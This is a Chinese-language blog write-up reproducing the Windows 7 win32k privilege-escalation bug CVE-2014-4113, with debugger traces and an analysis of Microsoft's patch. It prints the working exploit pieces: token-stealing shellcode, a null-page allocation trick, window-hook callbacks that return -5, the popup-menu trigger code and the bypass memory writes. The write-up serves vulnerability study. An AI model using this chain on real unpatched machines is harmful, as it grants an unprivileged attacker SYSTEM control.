CVE-2014-4113 window内核提取漏洞

在学习了点驱动编程后,开始学习内核漏洞,打算先跟着看雪的1900师傅的文章去复现提权洞,然后游戏安全相关的bypass也是兴趣之一,只能说有空再搞了,走一步看一步了。。。

环境搭建

Windows7 sp1 Professional x86
vmware 16
windbg+VirtualKD双机调试
IDA Pro

下载链接

搭建步骤

  • vmware16安装镜像,安装vmware tool,由于vmware16版本有点高,window7安全驱动的签名过不了,需要打个补丁
  • 然后配置VirtualKD-Redux,就是运行下exe,网上教程很多。
  • 最后需要解决符号问题,不然windbg调试比较难受,在主机中直接下载的符号表好像并不是win7的,所以还是去专门找了下win7对应的符号表,然后windbg.sympath.reload载入下即可。

漏洞原理

对于这种别人挖的漏洞,要分析的话,一般就是两个方式,一个是diff官方补丁,然后自己去猜去分析,也是大部分1day的挖掘过程,二个就是有exp,可以根据这个exp来进行分析,这种方式就比上面的方法壳得到的有效信息多得多。

逆向exp分析

提权shellcode

首先了解一下提权的shellcode的原理,在学习完exp代码后,发现其提权原理就是将system.exe进程的token值,复制到exp.exe的token值,这个token值在哪呢,其处于进程的_EPROCESS结构体中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
kd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
+0x0f0 ExceptionPortData : Ptr32 Void
+0x0f0 ExceptionPortValue : Uint4B
+0x0f0 ExceptionPortState : Pos 0, 3 Bits
+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : Uint4B
+0x100 AddressCreationLock : _EX_PUSH_LOCK
+0x104 RotateInProgress : Ptr32 _ETHREAD
+0x108 ForkInProgress : Ptr32 _ETHREAD
+0x10c HardwareTrigger : Uint4B
+0x110 PhysicalVadRoot : Ptr32 _MM_AVL_TABLE
+0x114 CloneRoot : Ptr32 Void
+0x118 NumberOfPrivatePages : Uint4B
+0x11c NumberOfLockedPages : Uint4B
+0x120 Win32Process : Ptr32 Void
+0x124 Job : Ptr32 _EJOB
+0x128 SectionObject : Ptr32 Void
+0x12c SectionBaseAddress : Ptr32 Void
+0x130 Cookie : Uint4B
+0x134 Spare8 : Uint4B
+0x138 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY
+0x13c Win32WindowStation : Ptr32 Void
+0x140 InheritedFromUniqueProcessId : Ptr32 Void
...

我们使用命令去查看system进程的token。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 856058c8 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 89001b00 HandleCount: 502.
Image: System
kd> dt 856058c8
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x01d9541f`f2983198
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000004 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x860ef560 - 0x83f55d70 ]
+0x0c0 ProcessQuotaUsage : [2] 0
+0x0c8 ProcessQuotaPeak : [2] 0
+0x0d0 CommitCharge : 0xd
+0x0d4 QuotaBlock : 0x83f493c0 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : (null)
+0x0dc PeakVirtualSize : 0x936000
+0x0e0 VirtualSize : 0x456000
+0x0e4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x0ec DebugPort : (null)
+0x0f0 ExceptionPortData : (null)
+0x0f0 ExceptionPortValue : 0
+0x0f0 ExceptionPortState : 0y000
+0x0f4 ObjectTable : 0x89001b00 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : 0
+0x100 AddressCreationLock : _EX_PUSH_LOCK
kd> dd 856058c8+0xf8
856059c0 8900123f 00000000 00000000 00000000
856059d0 00000000 00000000 8561b2f0 00000000
856059e0 00000005 00000180 00000000 00000000
856059f0 00000000 00000000 00000000 00000000

如何编写提权shellcode

  • 首先需要获取到本进程的_EPROCESS结构体的位置,采用的方式就是先获取到当前线程的_KTHREAD结构,然后+0x50就是当前进程的_EPROCESS了。
  • 接下来通过_EPROCESS的+0xb8成员,遍历进程的pid,查看那个pid为4(system.exe的pid),因为_EPROCESS实际上是双向链表。
  • 将system.exe的token复制到本进程的token中。

首先是遍历链表,实际上这些地址并不是_EPROCESS结构体的头地址, 这与windows内核中的双向链表结构有关,所以后面才会有sub eax, 0xb8这一句汇编。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
kd> !list -t nt!_LIST_ENTRY.FLink 856058c8+0xb8
85605980 860ef560 83f55d70 00000000 00000000
85605990 00000000 00000000 0000000d 83f493c0
856059a0 00000000 00936000 00456000 00000000
856059b0 00000000 00000000 00000000 89001b00
856059c0 8900123f 00000000 00000000 00000000
856059d0 00000000 00000000 8561b2f0 00000000
856059e0 00000005 00000180 00000000 00000000
856059f0 00000000 00000000 00000000 00000000

860ef560 86780830 85605980 000002bc 0000237c
860ef570 000013a4 000085cc 00000036 83f493c0
860ef580 00000000 00f54000 0030a000 00000000
860ef590 00000000 00000000 00000000 8db76f68
860ef5a0 8db7824d 000229c4 00000000 00000000
860ef5b0 00000000 00000000 00000000 00000000
860ef5c0 0000002a 00000000 00000000 00000000
860ef5d0 8db79fd8 48570000 19927d14 00000000

86780830 86723298 860ef560 00001560 00025d1c
86780840 00002a98 00026f04 0000016c 83f493c0
86780850 00000000 041bc000 040cc000 867232c4
86780860 8d5e9010 00000000 00000000 91b1ee40
86780870 890b7db5 0001e4e1 00000000 00000000
86780880 00000000 00000000 00000000 00000000
86780890 00000110 00000000 ffbbc958 00000000
867808a0 891f5f58 497b0000 67119842 00000000
...
...

代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
_asm
{
pushad

mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)

// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid

// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
}

调用堆栈

要分析漏洞触发原因就得知道堆栈函数调用情况,找到漏洞点,然后逆向分析,如何触发,需要绕过什么。

这里有exp代码的话,我想到有两种方式去查看最后的堆栈调用情况

  • 在shellcode前加一个int 3中断
  • exp.exe执行完之前,在_EPROCESS结构的Token出,打一个写断点

这里我采用的第一种方式,将编译好的exp放到win7中运行,windbg断下来

1.png

继续调试,执行完shellcode后,堆栈情况如下,而且可以注意到的是,其第一个参数为fffffffb,也就是-5。

2.png

漏洞点

由堆栈情况我们完全可以得到漏洞的触发点,我们到对应位置查看汇编代码,位于xxxSendMessageTimeout,由堆栈信息可知,第一个参数是-5。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __stdcall xxxSendMessageTimeout(
PVOID P,
int pszMultiByteString,
int WideCharString,
void *Src,
unsigned int HighLimit,
unsigned int LowLimit,
int p_pszMultiByteString,
PVOID Entry)

.text:BF8B94E8 ; 64: result = (*((int (__stdcall **)(PVOID, int, int, void *))P + 24))(P, v12, WideCharString, Src);
.text:BF8B94E8
.text:BF8B94E8 loc_BF8B94E8: ; CODE XREF: xxxSendMessageTimeout(x,x,x,x,x,x,x,x)+198↑j
.text:BF8B94E8 push [ebp+Src]
.text:BF8B94EB push [ebp+WideCharString]
.text:BF8B94EE push ebx
.text:BF8B94EF push esi
.text:BF8B94F0 call dword ptr [esi+60h]

push esi的esi就是第一个参数,所以esi=-5,相当于这里执行的是call dword ptr [0x5bh],所以只要让[0x5bh]保存着shellcode的地址即可,一开始不太明白,这居然可以call,0x5b地址如何进行赋值呢。
后来搜索发现,这其实是一种在地址0上分配内存的利用方法,原理和细节可以参考这篇文章:在地址0上分配内存,在后面的windows系统应该已经被修了,这里我也写了个demo,模拟一下这个exp的这部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include "stdio.h"
#include <Windows.h>

typedef NTSTATUS(__stdcall* P_ZwAllocateVirtualMemory)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);



void Shellcode()
{
printf("hello");
}


int main(int argc, char* argv[])
{
HMODULE hnt = LoadLibraryA("ntdll.dll");
P_ZwAllocateVirtualMemory pfZwAllocateVirtualMemory = (P_ZwAllocateVirtualMemory)GetProcAddress(hnt, "ZwAllocateVirtualMemory");
ULONG base = 1;
PVOID* p = (PVOID*)&base;
SIZE_T s = 8192;
ULONG eax = pfZwAllocateVirtualMemory((HANDLE)INVALID_HANDLE_VALUE, p, 0, &s, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if (eax != 0)
{
printf("error %08x ", eax);
}

*(DWORD*)(0x5b) = (DWORD)&Shellcode;

printf("%x \n", *(DWORD*)(0x5b));
printf("%x \n", &Shellcode);
DWORD num;
__asm {
//Int 3
call dword ptr ds:[0x5b]
}
system("pause");
return 0;
}

可以看到,我也是先在0地址处分配内存,然后将[0x5b]赋值为shellcode的地址,shellcode就是打印一个hello,最后用内联汇编call进行调用,放到win7中运行,发现成功打印出hello。

3.png

触发条件

通过堆栈可以知道漏洞点的上级函数是xxxHandleMenuMessages,并且在进入xxxSendMessage第一个参数必须是-5,这样才能造成漏洞的触发。

分析xxxHandleMenuMessages中xxxSendMessage第一个参数来源,发现是xxxMNFindWindowFromPoint的返回值。

4.png

进入xxxMNFindWindowFromPoint,其调用xxxSendMessage向用户层发送了0x1ED的消息,个人感觉这个xxxMNFindWindowFromPoint函数应该是通过发送消息,然后让用户层根据鼠标位置,返回指定点的窗口的句柄的一个功能,因为windows下的WindowFromPoint API的功能就是这个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __stdcall xxxMNFindWindowFromPoint(int *WideCharString, int a2, int a3)
{
_DWORD *v3; // ebx
int *v4; // edi
int v5; // eax
int v6; // esi
int v7; // edx
int v9; // eax
int v10; // ebx
int *v11; // eax
int WindowBorders; // eax
int v13; // ecx
int v14; // edi
int v15; // eax
int v16; // ebx
int *v17; // eax
bool v18; // zf
int v19; // edi
int v20; // [esp-10h] [ebp-44h]
int v21[2]; // [esp+Ch] [ebp-28h] BYREF
int v22; // [esp+14h] [ebp-20h]
int v23; // [esp+18h] [ebp-1Ch]
int v24[4]; // [esp+1Ch] [ebp-18h] BYREF
int v25; // [esp+2Ch] [ebp-8h]

v3 = (_DWORD *)a2;
*(_DWORD *)a2 = 0;
v4 = WideCharString;
v5 = WideCharString[3];
if ( v5 )
{
v24[0] = *((_DWORD *)gptiCurrent + 45);
*((_DWORD *)gptiCurrent + 45) = v24;
v24[1] = v5;
++*(_DWORD *)(v5 + 4);
v6 = xxxSendMessage((PVOID)v4[3], 235, (WCHAR)&WideCharString, (void *)((unsigned __int16)a3 | (HIWORD(a3) << 16)));
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) )
{
LOBYTE(v7) = 1;
v6 = HMValidateHandleNoSecure(v6, v7);
}
if ( v6 )
{
*v3 = WideCharString;
return v6;
}
}

所以我们貌似可以通过控制用户层处理0x1ED的消息回调函数来控制这里的返回值,所以我们要去hook对应的窗口消息处理函数,控制其返回值即可。

首先调用SetWindowsHookExA下一个窗口消息钩子,用来钩取0x1ED消息,查看官方文档可知,消息结构体如下,CWPSTRUCT

1
2
3
4
5
6
typedef struct tagCWPSTRUCT {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd; //用于接收消息的窗口的句柄。
} CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;

这个消息应该是我们创造的menu会处理的,我们需要再次钩取这个menu的消息处理函数,通过tagCWPSTRUCT的hwnd参数和SetWindowLongA函数对menu的消息处理函数进行钩取,并且返回-5,这里的EndMenu();貌似可有可无,我都试了下,都可以实现提取,区别是加上后,处理的消息更少一些,原因可能是结束调用线程的活动菜单后,这个菜单menu就没有那么多消息需要进行处理了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
printf("[+] Callback two called.\n");
EndMenu();
return -5;
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
printf("[+] Callback one called.\n");
/* lParam is a pointer to a CWPSTRUCT which is defined as:
typedef struct tagCWPSTRUCT {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
*/
//lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called
if (*(DWORD*)(lParam + 8) == 0x1EB) {
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
//lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
printf("lParam + 12 %x \n", *(HWND*)(lParam + 12));
SetWindowLongA(*(HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);

}
}
return CallNextHookEx(0, code, wParam, lParam);
}

0x1ED消息处理,让用户层返回-5到内核层,从而触发漏洞的问题就解决了,新的问题就是如何进入xxxHandleMenuMessages()函数了,通过堆栈可以发现这个函数的上级函数是xxxMNLoop,xxxMNLoop的上级函数就是xxxTrackPopupMenuEx,该函数就是用户层的TrackPopupMenu的内核层的函数,xxxMNLoop应该就是对应的消息处理函数了。

1
2
3
4
5
6
7
8
9
10
//在指定位置显示快捷菜单,并跟踪菜单上的项目选择。
BOOL WINAPI TrackPopupMenu(
_In_ HMENU hMenu,
_In_ UINT uFlags,
_In_ int x,
_In_ int y,
_In_ int nReserved,
_In_ HWND hWnd,
_In_opt_ const RECT *prcRect
)

综上所述,我们要进入xxxHandleMenuMessages(),就需要在用户层调用TrackPopupMenu,然后内核层的xxxMNLoop就会循环处理消息,接下来,我们在用户层,自己创建一些动作,触发menu窗口产生消息,就可以达到我们的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
/*
LRESULT WINAPI DefWindowProc(
_In_ HWND hWnd,
_In_ UINT Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
hWnd => Handle of the Window the event was triggered on
Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc
wParam, lParam => extra information depending on the msg recieved.
*/
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
/*
Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
*/
printf("[+] WindProc called with message=%d\n", msg);
if (msg == WM_ENTERIDLE) {
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
}
//Just pass any other messages to the default window procedure
return DefWindowProc(hwnd, msg, wParam, lParam);
}

VOID Poc()
{
/*
typedef struct tagWNDCLASS {
UINT style;
WNDPROC lpfnWndProc;
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance;
HICON hIcon;
HCURSOR hCursor;
HBRUSH hbrBackground;
LPCTSTR lpszMenuName;
LPCTSTR lpszClassName;
} WNDCLASS, *PWNDCLASS;
We don't care about any of the style information but we set any needed values below.
*/
WNDCLASSA wnd_class = { 0 };
//Our custome WndProc handler, inspects any window messages before passing then onto the default handler
wnd_class.lpfnWndProc = WndProc;
//Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable
wnd_class.hInstance = GetModuleHandle(NULL);
//Random classname - we reference this later when creating a Window of this class
wnd_class.lpszClassName = "abcde";

//Registers the class in the global scope so it can be refered too later.
ATOM tmp = RegisterClassA(&wnd_class);
if (tmp == NULL) {
printf("[+] Failed to register window class.\n");
return;
}

/* Does what it says on the tin..
HWND WINAPI CreateWindow(
_In_opt_ LPCTSTR lpClassName, => The name of the Window class to be created, in this case the class we just registered
_In_opt_ LPCTSTR lpWindowName, => The name to give the window, we don't need to give it a name.
_In_ DWORD dwStyle, => Style options for the window, here
_In_ int x, => x position to create the window,this time the left edge
_In_ int y, => y position to create the window, this time the top edge
_In_ int nWidth, => Width of the window to create, randomly chosen value
_In_ int nHeight, => Height of the to create, randomly chosen value
_In_opt_ HWND hWndParent, => A handle to the parent window, this is our only window so NULL
_In_opt_ HMENU hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
_In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
_In_opt_ LPVOID lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
);
*/
HWND main_wnd = CreateWindowA(
wnd_class.lpszClassName,
"",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
0,
0,
640,
480,
NULL,
NULL,
wnd_class.hInstance,
NULL);

if (main_wnd == NULL) {
printf("[+] Failed to create window instance.\n");
return;
}

//Creates an empty popup menu
HMENU MenuOne = CreatePopupMenu();

if (MenuOne == NULL) {
printf("[+] Failed to create popup menu one.\n");
return;
}

/*Menu properties to apply to the empty menu we just created
typedef struct tagMENUITEMINFO {
UINT cbSize;
UINT fMask;
UINT fType;
UINT fState;
UINT wID;
HMENU hSubMenu;
HBITMAP hbmpChecked;
HBITMAP hbmpUnchecked;
ULONG_PTR dwItemData;
LPTSTR dwTypeData;
UINT cch;
HBITMAP hbmpItem;
} MENUITEMINFO, *LPMENUITEMINFO;
*/
MENUITEMINFOA MenuOneInfo = { 0 };
//Default size
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
//Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
MenuOneInfo.fMask = MIIM_STRING;
/*Inserts a new menu at the specified position
BOOL WINAPI InsertMenuItem(
_In_ HMENU hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
_In_ UINT uItem, => it should item 0 in the menu
_In_ BOOL fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
_In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
);
*/
BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);

if (!insertMenuItem) {
printf("[+] Failed to insert popup menu one.\n");
DestroyMenu(MenuOne);
return;
}

HMENU MenuTwo = CreatePopupMenu();

if (MenuTwo == NULL) {
printf("[+] Failed to create menu two.\n");
DestroyMenu(MenuOne);
return;
}

MENUITEMINFOA MenuTwoInfo = { 0 };
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
//On this window hSubMenu should be included in Get/SetMenuItemInfo
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
//The menu is a sub menu of the first menu
MenuTwoInfo.hSubMenu = MenuOne;
//The contents of the menu item - in this case nothing
MenuTwoInfo.dwTypeData = (LPSTR)"";
//The length of the menu item text - in the case 1 for just a single NULL byte
MenuTwoInfo.cch = 1;
insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);

if (!insertMenuItem) {
printf("[+] Failed to insert second pop-up menu.\n");
DestroyMenu(MenuOne);
DestroyMenu(MenuTwo);
return;
}

/*
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
_In_ HOOKPROC lpfn, => The callback that should be called when triggered
_In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
_In_ DWORD dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
);
*/
HHOOK setWindowsHook = SetWindowsHookExA(
WH_CALLWNDPROC,
HookCallback,
NULL,
GetCurrentThreadId()
);

if (setWindowsHook == NULL) {
printf("[+] Failed to insert call back one.\n");
DestroyMenu(MenuOne);
DestroyMenu(MenuTwo);
return;
}

/* Displays a menu and tracks interactions with it.
BOOL WINAPI TrackPopupMenu(
_In_ HMENU hMenu,
_In_ UINT uFlags,
_In_ int x,
_In_ int y,
_In_ int nReserved,
_In_ HWND hWnd,
_In_opt_ const RECT *prcRect
);
*/
TrackPopupMenu(
MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
0, //Horizontal position - left hand side
0, //Vertical position - Top edge
0, //Reserved field, has to be 0
main_wnd,//Handle to the Window which owns the menu
NULL //This value is always ignored...
);

DestroyWindow(main_wnd);
}

绕过

其实观察最后的xxxSendMessageTimeout,是需要绕过几个点的。

5.png

首先p的值,也就是第一个参数,已经固定了,肯定是-5,所以满足条件如下

  • gptiCurrent == *((PVOID *)-5 + 2)
  • (*((_BYTE *)-5 + 22) & 4) != 0

其中的gpticurrent,根据exp来看应该是TEB.Win32ThreadInfo,怎么来的不太清楚,看了下有没有主动给gpticurrent这个全局变量赋值的地方,也只找到了这里。

1
2
3
4
5
6
7
8
9
void *__stdcall UserEnterUserCritSec()
{
void *result; // eax

result = (void *)ExEnterPriorityRegionAndAcquireResourceExclusive(gpresUser);
gptiCurrent = result;
gbValidateHandleForIL = 1;
return result;
}

exp中对应绕过的地方。

1
2
3
4
5
6
7
8
9
10
11
DWORD __stdcall  ptiCurrent()
{
__asm {
mov eax, fs:18h //eax pointer to TEB
mov eax, [eax + 40h] //get pointer to Win32ThreadInfo
}
}

*(DWORD*)(0x3) = (DWORD)ptiCurrent();
*(DWORD*)(0x11) = (DWORD)4;
*(DWORD*)(0x5b) = (DWORD)&ShellCode;

正向分析

可以先用windbg调试一下我们在桌面点击右键,弹出菜单的过程,经过的函数实际上是和我们的exp差不多的,会进入win32k!xxxHandleMenuMessages,然后进入win32k!xxxMNFindWindowFromPoint,exp所做的事就是hook了0x1ED消息,然后进行了处理,从而触发漏洞。

借用https://bbs.kanxue.com/thread-198194.htm的一张图片。

6.png

所以正向流程应该如下。

  • 我们创建了一个主窗口,并创建了menu。
  • 设置好hook函数。
  • 调用TrackPopupMenu使其循环起来。
  • 当进入空闲态WM_ENTERIDLE,模拟点击菜单的操作。
  • xxxMNLoop中接收到这个操作,向用户层发送0x1ED消息,被我们hook函数截取,然后强制返回-5。
  • 接收到-5返回值后,触发漏洞,执行shellcode。

漏洞调试

实际上为了更加熟悉过程,可以修改exp进行调试,比如说,只调用TrackPopupMenu函数,然后调试,还有就是模拟点击菜单,但是不去hook其处理函数,然后调试。

这里我肯定还是只贴出最终exp的调试,上面的调试过程就不贴了。

打上断点,断下来后,查看win32k!xxxSendMessage返回的值,可以看到是-5。

1
2
3
4
5
6
7
8
kd> bl
0 e Disable Clear 9302959e e 1 0001 (0001) win32k!xxxMNFindWindowFromPoint
1 e Disable Clear 930295f1 0001 (0001) win32k!xxxMNFindWindowFromPoint+0x53
kd> p
win32k!xxxMNFindWindowFromPoint+0x58:
930295f6 8bf0 mov esi,eax
kd> r eax
eax=fffffffb

7.png

然后执行完这个函数,回到win32k!xxxHandleMenuMessages,并执行到win32k!xxxSendMessage,查看第一个参数,确定也是-5。

1
2
3
4
5
kd> pc
win32k!xxxHandleMenuMessages+0x57d:
930292f6 e8a202f8ff call win32k!xxxSendMessage (92fa959d)
kd> r ebx
ebx=fffffffb

进入这个函数,步入win32k!xxxSendMessageTimeout,执行到这里,esi=-5,相当于call dword ptr [5bh]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kd> t
win32k!xxxSendMessage:
92fa959d 8bff mov edi,edi
kd> pc
win32k!xxxSendMessage+0xa:
92fa95a7 ff15dc030e93 call dword ptr [win32k!_imp_InterlockedIncrement (930e03dc)]
kd> pc
win32k!xxxSendMessage+0x23:
92fa95c0 e882fdffff call win32k!xxxSendMessageTimeout (92fa9347)
kd> t
win32k!xxxSendMessageTimeout:
92fa9347 8bff mov edi,edi
kd> pc
win32k!xxxSendMessageTimeout+0x187:
92fa94ce ff15bc040e93 call dword ptr [win32k!_imp__IoGetStackLimits (930e04bc)]
kd> pc
win32k!xxxSendMessageTimeout+0x1a9:
92fa94f0 ff5660 call dword ptr [esi+60h]
kd> r esi
esi=fffffffb

查看相应内存代码,发现实际上就是我们的shellcode。

8.png

继续运行,发现提取成功。

9.png

微软补丁

虽然攻击方式知道了,但是微软是如何处理的也需要了解,因为还是有很多情况,第一时间修复的补丁存在绕过方法,造成绕过后继续利用。

补丁下载链接:https://www.microsoft.com/zh-hk/download/confirmation.aspx?id=44439

然后用bindiff插件,对比一下,伪代码对比整个diaphora。

感觉函数有点大,对比效果不是太好,直接对比关键部分,发现在原来xxxSendMessage前对xxxMNFindWindowFromPoint返回的参数值添加了一个函数判断。

10.png

IsMFMWFPWindow函数实际上就是xxxMNFindWindowFromPoint里面的一个函数,用来验证句柄的。

1
2
3
4
BOOL __stdcall IsMFMWFPWindow(int a1)
{
return a1 && a1 != -5 && a1 != -1;
}

参考

Windows符号表离线下载 - 『逆向资源区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

[原创]CVE-2014-4113提权漏洞学习笔记-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

[原创]CVE-2014-4113分析及Exploit逆向-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)